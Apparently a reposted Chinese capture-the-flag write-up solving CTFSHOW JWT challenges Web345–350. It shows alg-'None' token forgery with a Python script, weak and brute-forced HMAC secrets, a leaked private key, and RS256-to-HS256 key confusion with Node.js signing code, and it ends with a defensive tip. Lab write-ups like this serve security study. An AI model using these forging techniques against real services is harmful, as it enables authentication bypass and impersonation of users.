文章目錄
- 前言
- JWT簡介
- CTFSHOW Web345
- CTFSHOW Web346
- 前置知識
- 開始做題
- CTFSHOW Web347
- CTFSHOW Web348
- CTFSHOW Web349
- CTFSHOW Web350
- 前置知識
- 利用
- WP
- 如何防御
前言
有些師傅向我咨詢WP,索性就發了吧,其實早就寫好了,只是懶,在github倉庫里囤著
JWT簡介
可以看看我的Github總結給自己看的,Y4tacker
CTFSHOW Web345
首先打開題目,查看原始碼,接下來訪問/admin被跳轉回主頁啥也沒有發生
where is flag?
<!-- /admin -->
當然知道這個板塊是JWT,自然而然我們看一眼Cookie,發現名為auth的一個cookie為
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoidXNlciJ9XQ
通過base64解密或者去jwt.io解碼也行,得到結果
{"alg":"None","typ":"jwt"}[{"sub":"user"}]
所以我們嘗試把sub對應的鍵值修改
{"alg":"None","typ":"jwt"}[{"sub":"admin"}]
把前面部分和后面部分分別base64-encode
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0
后面
W3sic3ViIjoiYWRtaW4ifV0=
把這兩部分用點(.)拼接兩部分并去掉等于號
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0
此時拿著這一串cookie去替換掉原來的值,之后訪問/admin即可獲取flag
CTFSHOW Web346
前置知識
JWT支持將演算法設定為“None”,如果“alg”欄位設為“ None”,那么簽名會被置空,這樣任何token都是有效的,
設定該功能的最初目的是為了方便除錯,但是,若不在生產環境中關閉該功能,攻擊者可以通過將alg欄位設定為“None”來偽造他們想要的任何token,接著便可以使用偽造的token冒充任意用戶登陸網站,
開始做題
首先拿到cookie
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYwOTIzNjg3MCwiZXhwIjoxNjA5MjQ0MDcwLCJuYmYiOjE2MDkyMzY4NzAsInN1YiI6InVzZXIiLCJqdGkiOiI5NDNkMGIzMjM3ODA2NjU5ZDJlMjA1ZTQyYjMxOTQ5NCJ9.9TUQLyYKs97ceFhZQ4BzkAuug6nCgLoMAbLH88kSOwo
解碼
{
"alg": "HS256",
"typ": "JWT"
}
{
"iss": "admin",
"iat": 1609236870,
"exp": 1609244070,
"nbf": 1609236870,
"sub": "user",
"jti": "943d0b3237806659d2e205e42b319494"
}
我們需要把sub欄位改為admin
但是如果把簽名演算法改為none的化jwt.io那個網站就無法生成,這個時候可以使用python生成
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1609236870,
"exp": 1609244070,
"nbf": 1609236870,
"sub": "admin",
"jti": "943d0b3237806659d2e205e42b319494"
}
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效載體
"", # 進行加密簽名的密鑰
algorithm="none", # 指明簽名演算法方式, 默認也是HS256
headers=headers
# json web token 資料結構包含兩部分, payload(有效載體), headers(標頭)
)
print(jwt_token)
將生成的字串來替換原有的cookie獲得flag
CTFSHOW Web347
看見題干說是弱口令,去jwt.io解碼
解碼前
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYwOTIzNzM2NiwiZXhwIjoxNjA5MjQ0NTY2LCJuYmYiOjE2MDkyMzczNjYsInN1YiI6InVzZXIiLCJqdGkiOiI3NzgzMjYzZDIxODVlYzhlYTBhYjY2MjZmMTk5MWRiOCJ9.aX8kzpC_p6HCUW60UdLVqjkDN97zmP0Ce6yETdaiv80
解碼后發現還是HS256對稱加密
{
"alg": "HS256",
"typ": "JWT"
}
{
"iss": "admin",
"iat": 1609237366,
"exp": 1609244566,
"nbf": 1609237366,
"sub": "user",
"jti": "7783263d2185ec8ea0ab6626f1991db8"
}
既然題目說是弱口令我們嘗試使用最簡單的弱口令123456,成功,接下來我們只需要拿著這個密鑰去生成jwt即可
CTFSHOW Web348
密鑰爆破工具:
- c-jwt-cracker
看見題干說是爆破,猜都猜出來密鑰了其實
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYwOTIzNzc0OSwiZXhwIjoxNjA5MjQ0OTQ5LCJuYmYiOjE2MDkyMzc3NDksInN1YiI6InVzZXIiLCJqdGkiOiI0ZDJlZWMwNDRiM2MxNTRjNmRjYmM5NzUzMmE3MmU3OCJ9.D0-CXOY9O1SvOvYqwYkUZ-ruOMbOMPh3dzOKiOamt2s
Secret is "aaab"
得到密鑰aaab,拿去生成即可
CTFSHOW Web349
首先看代碼,發現公私鑰都放在了public檔案夾下面,nodejs中可以直接訪問此檔案
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
因此我們在url后面分別拼接private.key與public.key將公私鑰下載下來
然后我們看看解碼結果
{
"alg": "RS256",
"typ": "JWT"
}
{
"user": "user",
"iat": 1609250966
}
發現果然是RS256
RS256 (采用SHA-256 的 RSA 簽名) 是一種非對稱演算法, 它使用公共/私鑰對: 標識提供方采用私鑰生成簽名, JWT 的使用方獲取公鑰以驗證簽名,由于公鑰 (與私鑰相比) 不需要保護, 因此大多數標識提供方使其易于使用方獲取和使用 (通常通過一個元資料URL),
在jwt.io中分別把公私鑰復制進去,然后替換Cookie即可
CTFSHOW Web350
前置知識
JWT簽名演算法中,一般有兩個選擇,一個采用HS256,另外一個就是采用RS256,
簽名實際上是一個加密的程序,生成一段標識(也是JWT的一部分)作為接收方驗證資訊是否被篡改的依據,
RS256 (采用SHA-256 的 RSA 簽名) 是一種非對稱演算法, 它使用公共/私鑰對: 標識提供方采用私鑰生成簽名, JWT 的使用方獲取公鑰以驗證簽名,由于公鑰 (與私鑰相比) 不需要保護, 因此大多數標識提供方使其易于使用方獲取和使用 (通常通過一個元資料URL),
另一方面, HS256 (帶有 SHA-256 的 HMAC 是一種對稱演算法, 雙方之間僅共享一個 密鑰,由于使用相同的密鑰生成簽名和驗證簽名, 因此必須注意確保密鑰不被泄密,
在開發應用的時候啟用JWT,使用RS256更加安全,你可以控制誰能使用什么型別的密鑰,另外,如果你無法控制客戶端,無法做到密鑰的完全保密,RS256會是個更佳的選擇,JWT的使用方只需要知道公鑰,
由于公鑰通常可以從元資料URL節點獲得,因此可以對客戶端進行進行編程以自動檢索公鑰,如果采用這種方式,從服務器上直接下載公鑰資訊,可以有效的減少配置資訊,
利用
此攻擊的原因是某些庫對簽名/驗證HMAC對稱加密的密鑰和包含用于驗證RSA簽名令牌的公鑰的密鑰使用相同的變數名,
通過將演算法調整為HMAC變體(HS256/HS384/HS512)并使用公共可用公鑰對其進行簽名,我們可以欺騙服務使用機密變數中的硬編碼公鑰驗證HMAC令牌,
WP
由于jwt在python和nodejs的庫不同,造成在這里只能自己手動生成了,之后運行nodejs獲取cookie去替換即可,當然我這是懶鬼做法,也可以單獨抽離出來自己整一下
router.get('/', function(req, res, next) {
res.type('html');
var cert = fs.readFileSync(process.cwd()+'//routes/public.key');
var token = jwt.sign({ user: 'admin' }, cert, { algorithm: 'HS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
如何防御
JWT配置應該只允許使用HMAC演算法或公鑰演算法,決不能同時使用這兩種演算法
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/248045.html
標籤:其他
